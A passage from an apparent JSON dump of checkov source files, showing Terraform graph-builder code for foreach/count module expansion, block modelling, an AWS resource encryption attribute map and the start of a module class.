 def _get_tf_module_with_no_foreach(original_module: TFModule | None) -> TFModule | None:\n        if original_module is None:\n            return original_module\n        return TFModule(name=original_module.name, path=original_module.path, foreach_idx=None,\n                        nested_tf_module=ForeachModuleHandler._get_tf_module_with_no_foreach(\n                            original_module.nested_tf_module))\n\n    def _create_new_module(\n            self,\n            main_resource: TerraformBlock,\n            new_value: int | str,\n            resource_idx: int,\n            foreach_idx: int,\n            new_key: int | str | None = None) -> None:\n        new_resource = pickle_deepcopy(main_resource)\n        block_name = new_resource.name\n        config_attrs = new_resource.config.get(block_name, {})\n        key_to_val_changes = self._build_key_to_val_changes(main_resource, new_value, new_key)\n        self._update_foreach_attrs(config_attrs, key_to_val_changes, new_resource)\n        idx_to_change = new_key or new_value\n        new_resource.for_each_index = idx_to_change\n\n        main_resource_module_key = TFModule(\n            path=new_resource.path,\n            name=main_resource.name,\n            nested_tf_module=new_resource.source_module_object\n        )\n\n        # Without making this copy the test don't pass, as we might access the data structure in the middle of an update\n        copy_of_vertices_by_module_dependency = pickle_deepcopy(self.local_graph.vertices_by_module_dependency)\n        main_resource_module_value = pickle_deepcopy(copy_of_vertices_by_module_dependency[main_resource_module_key])\n        new_resource_module_key = TFModule(new_resource.path, new_resource.name, new_resource.source_module_object,\n                                           idx_to_change)\n\n        self._update_block_name_and_id(new_resource, idx_to_change)\n        self._update_resolved_entry_for_tf_definition(new_resource, idx_to_change, main_resource_module_key)\n        if foreach_idx != 0:\n            self.local_graph.vertices.append(new_resource)\n            self._create_new_module_with_vertices(main_resource, main_resource_module_value, resource_idx, new_resource,\n                                                  new_resource_module_key)\n        else:\n            self.local_graph.vertices[resource_idx] = new_resource\n\n            key_with_foreach_index = TFModule(name=main_resource_module_key.name,\n                                              path=main_resource_module_key.path,\n                                              nested_tf_module=main_resource_module_key.nested_tf_module,\n                                              foreach_idx=idx_to_change)\n            self.local_graph.vertices_by_module_dependency[key_with_foreach_index] = main_resource_module_value\n            self.local_graph.vertices_by_module_dependency_by_name[key_with_foreach_index][new_resource.name] = main_resource_module_value\n\n        del copy_of_vertices_by_module_dependency, new_resource, main_resource_module_key, main_resource_module_value\n\n    def _create_new_module_with_vertices(self, main_resource: TerraformBlock,\n                                         main_resource_module_value: dict[str, list[int]],\n                                         resource_idx: Any, new_resource: TerraformBlock | None = None,\n                                         new_resource_module_key: TFModule | None = None) -> None:\n        if new_resource is None:\n            new_resource_name = main_resource.name\n            new_resource_module_key = TFModule(main_resource.path, new_resource_name, main_resource.source_module_object,\n                                               main_resource.for_each_index)\n        else:\n            new_resource_name = new_resource.name\n\n        new_resource_vertex_idx = len(self.local_graph.vertices) - 1\n        original_vertex_source_module = self.local_graph.vertices[resource_idx].source_module_object\n        if original_vertex_source_module:\n            source_module_key = TFModule(\n                path=original_vertex_source_module.path,\n                name=original_vertex_source_module.name,\n                nested_tf_module=original_vertex_source_module.nested_tf_module,\n            )\n        else:\n            source_module_key = None\n        self.local_graph.vertices_by_module_dependency[source_module_key][BlockType.MODULE].append(new_resource_vertex_idx)\n        self.local_graph.vertices_by_module_dependency_by_name[source_module_key][BlockType.MODULE][new_resource_name].append(new_resource_vertex_idx)\n        new_vertices_module_value = self._add_new_vertices_for_module(new_resource_module_key, main_resource_module_value, new_resource_vertex_idx)\n        self.local_graph.vertices_by_module_dependency.update({new_resource_module_key: new_vertices_module_value})\n        self.local_graph.vertices_by_module_dependency_by_name.update({new_resource_module_key: {new_resource_name: new_vertices_module_value}})\n\n    def _add_new_vertices_for_module(self, new_module_key: TFModule | None, new_module_value: dict[str, list[int]],\n                                     new_resource_vertex_idx: int) -> dict[str, list[int]]:\n        new_vertices_module_value: dict[str, list[int]] = defaultdict(list)\n        seen_vertices = []\n        for vertex_type, vertices_idx in new_module_value.items():\n            for vertex_idx in vertices_idx:\n                module_vertex = self.local_graph.vertices[vertex_idx]\n                if module_vertex in seen_vertices:\n                    # Makes sure we won't mistakenly go over vertices we already copied.\n                    # This may happen when using nested modules with count>2,\n                    # as we might duplicate the previous count index resources mistakenly.\n                    # See issue https://github.com/bridgecrewio/checkov/issues/6068\n                    continue\n                seen_vertices.append(module_vertex)\n                new_vertex = pickle_deepcopy(module_vertex)\n                new_vertex.source_module_object = new_module_key\n                self.local_graph.vertices.append(new_vertex)\n\n                # Update source module based on the new added vertex\n                new_vertex.source_module.pop()\n                new_vertex.source_module.add(new_resource_vertex_idx)\n\n                new_vertex_idx = len(self.local_graph.vertices) - 1\n                new_vertices_module_value[vertex_type].append(new_vertex_idx)\n\n                if vertex_type == BlockType.MODULE:\n                    module_vertex_key = TFModule(path=module_vertex.path, name=module_vertex.name,\n                                                 nested_tf_module=module_vertex.source_module_object,\n                                                 foreach_idx=module_vertex.for_each_index)\n                    module_vertex_value = self.local_graph.vertices_by_module_dependency[module_vertex_key]\n                    self._create_new_module_with_vertices(new_vertex, module_vertex_value, new_vertex_idx)\n\n        return new_vertices_module_value\n\n    @staticmethod\n    def _update_resolved_entry_for_tf_definition(child: TerraformBlock, original_foreach_or_count_key: int | str,\n                                                 original_module_key: TFModule) -> None:\n        if child.block_type == BlockType.RESOURCE:\n            child_name, child_type = child.name.split('.')\n            config = child.config[child_name][child_type]\n        else:\n            config = child.config.get(child.name)\n        if isinstance(config, dict):\n            resolved_module_name = config.get(RESOLVED_MODULE_ENTRY_NAME)\n            if resolved_module_name is not None and len(resolved_module_name) > 0:\n                # iterate over each item in the resolved list and override it with updated data\n                for idx, original_definition_key in enumerate(resolved_module_name):\n                    if isinstance(original_definition_key, str):\n                        original_definition_key = TFDefinitionKey.from_json(json.loads(original_definition_key))\n                    resolved_tf_source_module = TFDefinitionKey.from_json(json.loads(resolved_module_name[idx])) if isinstance(resolved_module_name[idx], str) else resolved_module_name[idx]\n                    tf_source_modules = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx(\n                        original_foreach_or_count_key,\n                        original_module_key,\n                        resolved_tf_source_module.tf_source_modules,\n                    )\n                    resolved_module_name[idx] = TFDefinitionKey(file_path=original_definition_key.file_path,\n                                                                tf_source_modules=tf_source_modules)\n\n    @staticmethod\n    def _get_module_with_only_relevant_foreach_idx(original_foreach_or_count_key: int | str,\n                                                   original_module_key: TFModule,\n                                                   tf_moudle: TFModule | None) -> TFModule | None:\n        if tf_moudle is None:\n            return None\n        if tf_moudle == original_module_key:\n            return TFModule(name=tf_moudle.name, path=tf_moudle.path,\n                            nested_tf_module=tf_moudle.nested_tf_module,\n                            foreach_idx=original_foreach_or_count_key)\n        nested_module = tf_moudle.nested_tf_module\n        updated_module = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx(\n            original_foreach_or_count_key, original_module_key, nested_module)\n        return TFModule(name=tf_moudle.name, path=tf_moudle.path,\n                        nested_tf_module=updated_module,\n                        foreach_idx=tf_moudle.foreach_idx)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/resource_handler.py",
    "content": "from __future__ import annotations\n\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.foreach.foreach_entity_handler import ForeachEntityHandler\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachResourceHandler(ForeachEntityHandler):\n\n    def __init__(self, local_graph: TerraformLocalGraph) -> None:\n        super().__init__(local_graph, BlockType.RESOURCE)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/utils.py",
    "content": "from __future__ import annotations\n\nfrom typing import Optional\n\nFOREACH_KEY_SEPERATOR = '[\"'\nFOREACH_KEY_ENDER = '\"]'\nCOUNT_KEY_SEPERATOR = \"[\"\nCOUNT_KEY_ENDER = \"]\"\n\n\ndef get_terraform_foreach_or_count_key(resource_id: str) -> Optional[str]:\n    sanitized_id = get_sanitized_terraform_resource_id(resource_id)\n    if sanitized_id == resource_id:\n        return None\n    key = resource_id.split(sanitized_id)[-1]\n    while key.startswith(FOREACH_KEY_SEPERATOR) and key.endswith(FOREACH_KEY_ENDER):\n        key = key[2:-2]\n    while key.startswith(COUNT_KEY_SEPERATOR) and key.endswith(COUNT_KEY_ENDER):\n        key = key[1:-1]\n    return key\n\n\ndef get_sanitized_terraform_resource_id(resource_id: str) -> str:\n    if FOREACH_KEY_SEPERATOR in resource_id:\n        original_id_parts = resource_id.split(FOREACH_KEY_SEPERATOR, maxsplit=1)\n        original_resource_name = original_id_parts[-2]  # As the last item will be the key itself,\n        return original_resource_name  # This will be the resource id before the foreach key was added\n    elif COUNT_KEY_SEPERATOR in resource_id:\n        original_id_parts = resource_id.split(COUNT_KEY_SEPERATOR)\n        original_resource_name = original_id_parts[-2]\n        return original_resource_name\n    return resource_id\n\n\ndef append_virtual_resource(virtual_resource_name: str | None, virtual_resources_list: list[str]) -> None:\n    if virtual_resource_name is not None:\n        virtual_resources_list.append(virtual_resource_name)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/attribute_names.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/block_types.py",
    "content": "from checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass BlockType(CommonBlockType):\n    DATA = \"data\"\n    LOCALS = \"locals\"\n    MODULE = \"module\"\n    OUTPUT = \"output\"\n    PROVIDER = \"provider\"\n    TERRAFORM = \"terraform\"\n    TF_VARIABLE = \"tfvar\"\n    VARIABLE = \"variable\"\n    CUSTOM = \"custom\"\n"
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nfrom typing import Union, Dict, Any, List, Optional, Set, cast\nimport dpath\nimport re\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.utils import calculate_hash\nfrom checkov.common.typing import TFDefinitionKeyType\nfrom checkov.terraform.graph_builder.utils import INTERPOLATION_EXPR\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.modules.module_objects import TFModule\n\n\nclass TerraformBlock(Block):\n    __slots__ = (\n        \"module_connections\",\n        \"source_module\",\n        \"has_dynamic_block\",\n        \"dynamic_attributes\",\n        \"foreach_attrs\",\n        \"source_module_object\",\n        \"for_each_index\"\n    )\n\n    def __init__(\n        self,\n        name: str,\n        config: Dict[str, Any],\n        path: TFDefinitionKeyType,\n        block_type: str,\n        attributes: Dict[str, Any],\n        id: str = \"\",\n        source: str = \"\",\n        has_dynamic_block: bool = False,\n        dynamic_attributes: dict[str, Any] | None = None,\n    ) -> None:\n        \"\"\"\n            when adding a new field be sure to add it to the equality function below\n            :param name: unique name given to the terraform block, for example: 'aws_vpc.example_name'\n            :param config: the section in tf_definitions that belong to this block\n            :param path: the file location of the block\n            :param block_type: BlockType\n            :param attributes: dictionary of the block's original attributes in the terraform file\n        \"\"\"\n        super().__init__(\n            name=name,\n            config=config,\n            path=path,  # type:ignore[arg-type]  # Block class would need to be a Generic type to make this pass\n            block_type=str(block_type),\n            attributes=attributes,\n            id=id,\n            source=source,\n            has_dynamic_block=has_dynamic_block,\n            dynamic_attributes=dynamic_attributes,\n        )\n        if path:\n            self.path = path  # type:ignore[assignment]  # Block class would need to be a Generic type to make this pass\n        if attributes.get(RESOLVED_MODULE_ENTRY_NAME):\n            del attributes[RESOLVED_MODULE_ENTRY_NAME]\n        self.attributes = attributes\n        self.module_connections: Dict[str, List[int]] = {}\n        self.source_module: Set[int] = set()\n        self.has_dynamic_block = has_dynamic_block\n        self.source_module_object: Optional[TFModule] = None\n        self.for_each_index: Optional[Any] = None\n        self.foreach_attrs: list[str] | None = None\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, TerraformBlock):\n            return False\n\n        return self.name == other.name and self.config == other.config and self.path == other.path and \\\n            self.block_type == other.block_type and self.attributes == other.attributes and \\\n            self.id == other.id and self.has_dynamic_block == other.has_dynamic_block and self.source == other.source\n\n    def get_attribute_dict(self, add_hash: bool = True) -> dict[str, Any]:\n        \"\"\"\n           :return: map of all the block's native attributes (from the source file),\n           combined with the attributes generated by the module builder.\n           If the attributes are not a primitive type, they are converted to strings.\n           \"\"\"\n        base_attributes = self.get_base_attributes()\n        self.get_origin_attributes(base_attributes)\n\n        if hasattr(self, \"module_dependency\") and hasattr(self, \"module_dependency_num\"):\n            base_attributes[CustomAttributes.MODULE_DEPENDENCY] = self.module_dependency\n            base_attributes[CustomAttributes.MODULE_DEPENDENCY_NUM] = self.module_dependency_num\n\n        if self.changed_attributes:\n            # add changed attributes only for calculating the hash\n            base_attributes[\"changed_attributes\"] = sorted(self.changed_attributes.keys())\n\n        if self.breadcrumbs:\n            sorted_breadcrumbs = dict(sorted(self.breadcrumbs.items()))\n            base_attributes[CustomAttributes.RENDERING_BREADCRUMBS] = sorted_breadcrumbs\n\n        if hasattr(self, 'foreach_attrs'):\n            base_attributes[CustomAttributes.FOREACH_ATTRS] = self.foreach_attrs\n\n        if hasattr(self, 'source_module_object'):\n            base_attributes[CustomAttributes.SOURCE_MODULE_OBJECT] = self.source_module_object\n\n        if add_hash:\n            base_attributes[CustomAttributes.HASH] = calculate_hash(base_attributes)\n\n        if self.block_type == BlockType.DATA:\n            base_attributes[CustomAttributes.RESOURCE_TYPE] = f'data.{self.id.split(\".\")[0]}'\n\n        if self.block_type == BlockType.MODULE:\n            # since module names are user defined we are just setting 'module' as resource type for easier searching\n            base_attributes[CustomAttributes.RESOURCE_TYPE] = \"module\"\n\n        if self.block_type == BlockType.PROVIDER:\n            # provider_name is always a string, base_attributes needs better typing pipenv run mypy\n            provider_name = cast(str, base_attributes[CustomAttributes.BLOCK_NAME])\n            provider_type = provider_name.split(\".\")[0]\n            # ex: provider.aws\n            base_attributes[CustomAttributes.RESOURCE_TYPE] = f\"provider.{provider_type}\"\n\n        if \"changed_attributes\" in base_attributes:\n            # removed changed attributes if it was added previously for calculating hash.\n            del base_attributes[\"changed_attributes\"]\n\n        return base_attributes\n\n    def add_module_connection(self, attribute_key: str, vertex_id: int) -> None:\n        self.module_connections.setdefault(attribute_key, []).append(vertex_id)\n\n    def extract_additional_changed_attributes(self, attribute_key: str) -> List[str]:\n        # if the `attribute_key` starts with a `for_each.` we know the attribute can't be a dynamic attribute as it\n        # represents the for_each of the block, so we don't need extract dynamic changed attributes\n        # Fix: https://github.com/bridgecrewio/checkov/issues/4324\n        if self.has_dynamic_block and not attribute_key.startswith('for_each'):\n            return self._extract_dynamic_changed_attributes(attribute_key)\n        return super().extract_additional_changed_attributes(attribute_key)\n\n    def _extract_dynamic_changed_attributes(self, dynamic_attribute_key: str, nesting_prefix: str = '') -> List[str]:\n        dynamic_changed_attributes: list[str] = []\n        dynamic_attribute_key_parts = dynamic_attribute_key.split('.')\n        try:\n            remainder_key_parts = ['start_extract_dynamic_changed_attributes']  # For 1st iteration\n            while remainder_key_parts:\n                dynamic_for_each_index = dynamic_attribute_key_parts.index('for_each')\n                dynamic_content_key_parts, remainder_key_parts = \\\n                    dynamic_attribute_key_parts[:dynamic_for_each_index], dynamic_attribute_key_parts[dynamic_for_each_index + 1:]\n                dynamic_block_name = dynamic_content_key_parts[-1]\n                dynamic_content_path = dynamic_content_key_parts + ['content']\n                if dpath.search(self.attributes, dynamic_content_path):\n                    dynamic_block_content = dpath.get(self.attributes, dynamic_content_path)\n                    for key, value in dynamic_block_content.items():\n                        key_path = \".\".join(filter(None, [nesting_prefix, dynamic_block_name, key]))\n                        self._collect_dynamic_dependent_keys(dynamic_block_name, value, key_path, dynamic_content_path,\n                                                             dynamic_changed_attributes)\n                dynamic_attribute_key_parts = remainder_key_parts\n            return dynamic_changed_attributes\n        except ValueError:\n            return dynamic_changed_attributes\n\n    def _collect_dynamic_dependent_keys(self, dynamic_block_name: str, value: str | list[str] | dict[str, Any],\n                                        key_path: str,\n                                        dynamic_content_path: List[str], dynamic_changed_attributes: List[str]) -> None:\n        if isinstance(value, str):\n            dynamic_ref = f'{dynamic_block_name}.value'\n            if \"${\" in value:\n                interpolation_matches = re.findall(INTERPOLATION_EXPR, value)\n                for match in interpolation_matches:\n                    if dynamic_ref in match:\n                        dynamic_changed_attributes.append(key_path)\n        elif isinstance(value, list):\n            for idx, sub_value in enumerate(value):\n                self._collect_dynamic_dependent_keys(\n                    dynamic_block_name, sub_value, f'{key_path}.{idx}', dynamic_content_path,\n                    dynamic_changed_attributes)\n        elif isinstance(value, dict):\n            for sub_key, sub_value in value.items():\n                if isinstance(sub_value, dict) and 'content' in sub_value.keys() and 'for_each' in sub_value.keys():\n                    nested_dynamic_block_key_path = f'{\".\".join(dynamic_content_path)}.dynamic.{sub_key}.for_each'\n                    dynamic_changed_attributes.extend(\n                        self._extract_dynamic_changed_attributes(nested_dynamic_block_key_path,\n                                                                 nesting_prefix=dynamic_block_name))\n                else:\n                    self._collect_dynamic_dependent_keys(\n                        dynamic_block_name, sub_value, f'{key_path}.{sub_key}', dynamic_content_path,\n                        dynamic_changed_attributes)\n\n    def find_attribute(self, attribute: Optional[Union[str, List[str]]]) -> Optional[str]:\n        \"\"\"\n        :param attribute: key to search in self.attributes\n        The function searches for  attribute in self.attribute. It might not exist if the block is variable or output,\n        or its search path might be different if its a resource.\n        :return: the actual attribute key or None\n        \"\"\"\n        if not attribute:\n            return None\n\n        if self.attributes.get(attribute[0]):\n            return attribute[0]\n\n        if self.block_type == BlockType.VARIABLE:\n            return \"default\" if self.attributes.get(\"default\") else None\n\n        if self.block_type == BlockType.OUTPUT:\n            return \"value\" if self.attributes.get(\"value\") else None\n\n        if self.block_type == BlockType.RESOURCE and len(attribute) > 1:\n            # handle cases where attribute_at_dest == ['aws_s3_bucket.template_bucket', 'acl']\n            if self.name == attribute[0] and self.attributes.get(attribute[1]):\n                return attribute[1]\n\n        return None\n\n    def update_list_attribute(self, attribute_key: str, attribute_value: Any) -> None:\n        \"\"\"Updates list attributes with their index\n\n        This needs to be overridden, because of our hcl parser adding a list around any value\n        \"\"\"\n\n        if attribute_key not in self.attributes or isinstance(self.attributes[attribute_key][0], list):\n            # sometimes the attribute_value is a list and replaces the whole value of the key, which makes it a normal value\n            # ex. attribute_value = [\"xyz\"] and self.attributes[attribute_key][0] = \"xyz\"\n            for idx, value in enumerate(attribute_value):\n                self.attributes[f\"{attribute_key}.{idx}\"] = value\n\n    @classmethod\n    def get_inner_attributes(\n            cls,\n            attribute_key: str,\n            attribute_value: Union[str, List[str], Dict[str, Any]],\n            strip_list: bool = True\n    ) -> Dict[str, Any]:\n        if strip_list and isinstance(attribute_value, list) and len(attribute_value) == 1:\n            attribute_value = attribute_value[0]\n\n        return super().get_inner_attributes(\n            attribute_key=attribute_key,\n            attribute_value=attribute_value,\n        )\n\n    def to_dict(self) -> dict[str, Any]:\n        return {\n            'attributes': self.attributes,\n            'block_type': self.block_type,\n            'breadcrumbs': self.breadcrumbs,\n            'config': self.config,\n            'id': self.id,\n            'module_connections': self.module_connections,\n            'name': self.name,\n            'path': self.path,\n            'source': self.source,\n            'source_module': list(self.source_module),\n            'source_module_object': dict(self.source_module_object) if self.source_module_object else None\n        }\n\n    @staticmethod\n    def from_dict(data: dict[str, Any]) -> TerraformBlock:\n        tf_block = TerraformBlock(name=data.get('name', ''), block_type=data.get('block_type', ''),\n                                  config=data.get('config', {}), id=data.get('id', ''),\n                                  path=data.get('path', ''), source=data.get('source', ''),\n                                  attributes=data.get('attributes', {})\n                                  )\n\n        tf_block.breadcrumbs = data.get('breadcrumbs', {})\n        tf_block.module_connections = data.get('module_connections', {})\n        tf_block.source_module = data.get('source_module', set())\n        tf_block.source_module_object = TFModule.from_json(data.get('source_module_object'))\n        return tf_block\n"
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/generic_resource_encryption.py",
    "content": "from typing import Dict, List, Union, Any\nfrom checkov.common.graph.graph_builder import EncryptionTypes\nfrom checkov.common.graph.graph_builder.graph_components.generic_resource_encryption_base import (\n    GenericResourceEncryptionBase,\n)\nfrom checkov.common.util.data_structures_utils import get_empty_list_str\n\n\nclass GenericResourceEncryption(GenericResourceEncryptionBase):\n    def __init__(\n        self,\n        resource_type: str,\n        attribute_values_map: Dict[str, Union[List[bool], List[str]]],\n        enabled_by_default: bool = False,\n    ) -> None:\n        super().__init__(\n            resource_type, attribute_values_map, enabled_by_default, node_to_node_encryption=\"node_to_node_encryption\"\n        )\n        if self.resource_type.startswith(\"aws_\"):\n            if self.resource_type == \"aws_s3_bucket\":\n                # for s3 buckets the default is SSE-S3 which uses AES256\n                self.default_description = EncryptionTypes.AES256.value\n            else:\n                self.default_description = EncryptionTypes.DEFAULT_KMS.value\n\n\n# This map allows dynamically creating the check for each resource type based on GenericResourceEncryption.\n# Please check out the constructor to understand all the edge cases.\nENCRYPTION_BY_RESOURCE_TYPE: Dict[str, Any] = {\n    \"aws_ecr_repository\": GenericResourceEncryption(\n        \"aws_ecr_repository\",\n        {\n            \"encryption_configuration.encryption_type\": [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value],\n            \"encryption_configuration.kms_key\": get_empty_list_str(),\n        },\n    ),\n    \"aws_neptune_cluster\": GenericResourceEncryption(\n        \"aws_neptune_cluster\", {\"storage_encrypted\": [True], \"kms_key_arn\": get_empty_list_str()}\n    ),\n    \"aws_efs_file_system\": GenericResourceEncryption(\n        \"aws_efs_file_system\", {\"encrypted\": [True], \"kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_sagemaker_feature_group\": GenericResourceEncryption(\n        \"aws_sagemaker_feature_group\", {\"security_config.kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_ebs_volume\": GenericResourceEncryption(\n        \"aws_ebs_volume\", {\"encrypted\": [True], \"kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_elasticache_replication_group\": GenericResourceEncryption(\n        \"aws_elasticache_replication_group\", {\"at_rest_encryption_enabled\": [True], \"kms_key_id\": [\"arn\"]}\n    ),\n    \"aws_elasticsearch_domain\": GenericResourceEncryption(\n        \"aws_elasticsearch_domain\",\n        {\n            \"encrypt_at_rest.enabled\": [True],\n            \"kms_key_id\": get_empty_list_str(),\n            \"node_to_node_encryption.enabled\": [True],\n        },\n    ),\n    \"aws_msk_cluster\": GenericResourceEncryption(\n        \"aws_msk_cluster\", {\"encryption_info.encryption_at_rest_kms_key_arn\": get_empty_list_str()}\n    ),\n    \"aws_docdb_cluster\": GenericResourceEncryption(\n        \"aws_docdb_cluster\", {\"storage_encrypted\": [True], \"kms_key_arn\": get_empty_list_str()}\n    ),\n    \"aws_codebuild_project\": GenericResourceEncryption(\n        \"aws_codebuild_project\", {\"encryption_key\": get_empty_list_str()}\n    ),\n    \"aws_codebuild_report_group\": GenericResourceEncryption(\n        \"aws_codebuild_report_group\",\n        {\n            \"export_config.s3_destination.encryption_disabled\": [False],\n            \"export_config.s3_destination.encryption_key\": get_empty_list_str(),\n        },\n    ),\n    \"aws_athena_database\": GenericResourceEncryption(\n        \"aws_athena_database\",\n        {\n            \"encryption_configuration.encryption_option\": [\"SSE_S3\", \"SSE_KMS\", \"CSE_KMS\"],\n            \"encryption_configuration.kms_key\": get_empty_list_str(),\n        },\n    ),\n    \"aws_athena_workgroup\": GenericResourceEncryption(\n        \"aws_athena_workgroup\",\n        {\n            \"configuration.result_configuration.encryption_configuration.encryption_option\": [\n                \"SSE_S3\",\n                \"SSE_KMS\",\n                \"CSE_KMS\",\n            ],\n            \"configuration.result_configuration.encryption_configuration.kms_key_arn\": get_empty_list_str(),\n        },\n    ),\n    \"aws_kinesis_stream\": GenericResourceEncryption(\n        \"aws_kinesis_stream\", {\"encryption_type\": [EncryptionTypes.KMS_VALUE.value], \"kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_eks_cluster\": GenericResourceEncryption(\n        \"aws_eks_cluster\", {\"encryption_config.provider.key_arn\": get_empty_list_str()}\n    ),\n    \"aws_dynamodb_table\": GenericResourceEncryption(\n        \"aws_dynamodb_table\",\n        {\"server_side_encryption.enabled\": [True], \"server_side_encryption.kms_key_arn\": get_empty_list_str()},\n        enabled_by_default=True,\n    ),\n    \"aws_rds_cluster\": GenericResourceEncryption(\n        \"aws_rds_cluster\", {\"storage_encrypted\": [True], \"kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_rds_global_cluster\": GenericResourceEncryption(\"aws_rds_global_cluster\", {\"storage_encrypted\": [True]}),\n    \"aws_s3_bucket\": GenericResourceEncryption(\n        \"aws_s3_bucket\",\n        {\n            \"server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\": [\n                EncryptionTypes.AWS_KMS_VALUE.value,\n                EncryptionTypes.AES256.value,\n            ],\n            \"server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.kms_master_key_id\": get_empty_list_str(),\n        },\n        enabled_by_default=True,\n    ),\n    \"aws_s3_bucket_inventory\": GenericResourceEncryption(\n        \"aws_s3_bucket_inventory\", {\"destination.bucket.encryption\": get_empty_list_str()}\n    ),\n    \"aws_s3_bucket_object\": GenericResourceEncryption(\n        \"aws_s3_bucket_object\",\n        {\n            \"server_side_encryption\": [EncryptionTypes.AWS_KMS_VALUE.value, EncryptionTypes.AES256.value],\n            \"kms_key_id\": get_empty_list_str(),\n        },\n    ),\n    \"aws_cloudwatch_log_group\": GenericResourceEncryption(\n        \"aws_cloudwatch_log_group\", {\"kms_key_id\": get_empty_list_str()}, enabled_by_default=True\n    ),\n    \"aws_cloudtrail\": GenericResourceEncryption(\"aws_cloudtrail\", {\"kms_key_id\": get_empty_list_str()}),\n    \"aws_dax_cluster\": GenericResourceEncryption(\"aws_dax_cluster\", {\"server_side_encryption.enabled\": [True]}),\n    \"aws_redshift_cluster\": GenericResourceEncryption(\n        \"aws_redshift_cluster\", {\"encrypted\": [True], \"kms_key_id\": get_empty_list_str()}\n    ),\n    \"aws_sns_topic\": GenericResourceEncryption(\"aws_sns_topic\", {\"kms_master_key_id\": get_empty_list_str()}),\n    \"aws_sqs_queue\": GenericResourceEncryption(\"aws_sqs_queue\", {\"kms_master_key_id\": get_empty_list_str()}),\n}\n"
  },
  {
    "path": "checkov/terraform/graph_builder/graph_components/module.py",
    "content": "from __future__ import annotations\n\nimport json\nimport os\nfrom typing import List, Dict, Any, Set, Callable, Tuple, TYPE_CHECKING, cast\nfrom ast import literal_eval\n\nfrom checkov.common.typing import TFDefinitionKeyType\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.common.graph.graph_builder import CustomAttributes, wrap_reserved_attributes, reserved_attributes_to_scan\nfrom checkov.terraform.parser_functions import handle_dynamic_values\nfrom hcl2 import START_LINE, END_LINE\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeAlias\n\n_AddBlockTypeCallable: TypeAlias = \"Callable[[Module, list[dict[str, dict[str, Any]]], TFDefinitionKeyType], None]\"\n\n\nclass Module:\n    def __init__(\n            self,\n            source_dir: str,\n            external_modules_source_map: Dict[Tuple[str, str], str],\n    ) -> None:\n        # when adding a new field be sure to add it to the equality function below\n        self.external_modules_source_map = external_modules_source_map\n        self.path = \"\"\n        self.blocks: List[TerraformBlock] = []\n        self.customer_name = \"\"\n        self.account_id = \"\"\n        self.source = \"\"\n        self.resources_types: Set[str] = set()\n        self.source_dir = source_dir\n        self.render_dynamic_blocks_env_var = os.getenv('CHECKOV_RENDER_DYNAMIC_MODULES', 'True')\n        self.temp_tf_definition: dict[TFDefinitionKey, dict[str, Any]] = {}\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Module):\n            return False\n\n        return self.external_modules_source_map == other.external_modules_source_map and \\\n            self.path == other.path and \\\n            self.customer_name == other.customer_name and \\\n            self.account_id == other.account_id and \\\n            self.source == other.source and \\\n            self.resources_types == other.resources_types and \\\n            self.source_dir == other.source_dir and \\\n            self.blocks == other.blocks\n\n    def to_dict(self) -> dict[str, Any]:\n        return {\n            'external_modules_source_map': self._to_dict_external_modules_source_map(),\n            'path': self.path,\n            'customer_name': self.customer_name,\n            'account_id': self.account_id,\n            'source': self.source,\n            'resources_types': self.resources_types,\n            'source_dir': self.source_dir,\n            'render_dynamic_blocks_env_var': self.render_dynamic_blocks_env_var,\n            'blocks': [block.to_dict() for block in self.blocks]\n        }\n\n    @staticmethod\n    def from_dict(module_dict: dict[str, Any]) -> Module:\n        module = Module(source_dir=module_dict.get('source_dir', ''),\n                        external_modules_source_map=Module._from_dict_external_modules_source_map(module_dict)\n                        )\n        module.blocks = [TerraformBlock.from_dict(block) for block in module_dict.get('blocks', [])]\n        module.path = module_dict.get('path', '')\n        module.customer_name = module_dict.get('customer_name', '')\n        module.account_id = module_dict.get('account_id', '')\n        module.source = module_dict.get('source', '')\n        module.resources_types = module_dict.get('resources_types', set())\n        module.source_dir = module_dict.get('source_dir', '')\n        module.render_dynamic_blocks_env_var = module_dict.get('render_dynamic_blocks_env_var', '')\n        return module\n\n    def _to_dict_external_modules_source_map(self) -> dict[str, str]:\n        return {str(k_tuple): v for k_tuple, v in self.external_modules_source_map.items()}\n\n    @staticmethod\n    def _from_dict_external_modules_source_map(module_dict: dict[str, Any]) -> dict[tuple[str, str], Any]:\n        return {literal_eval(k_tuple): v for k_tuple, v in module_dict.get('external_modules_source_map', {}).items()}\n\n    def add_blocks(\n            self, block_type: str, blocks: List[Dict[str, Dict[str, 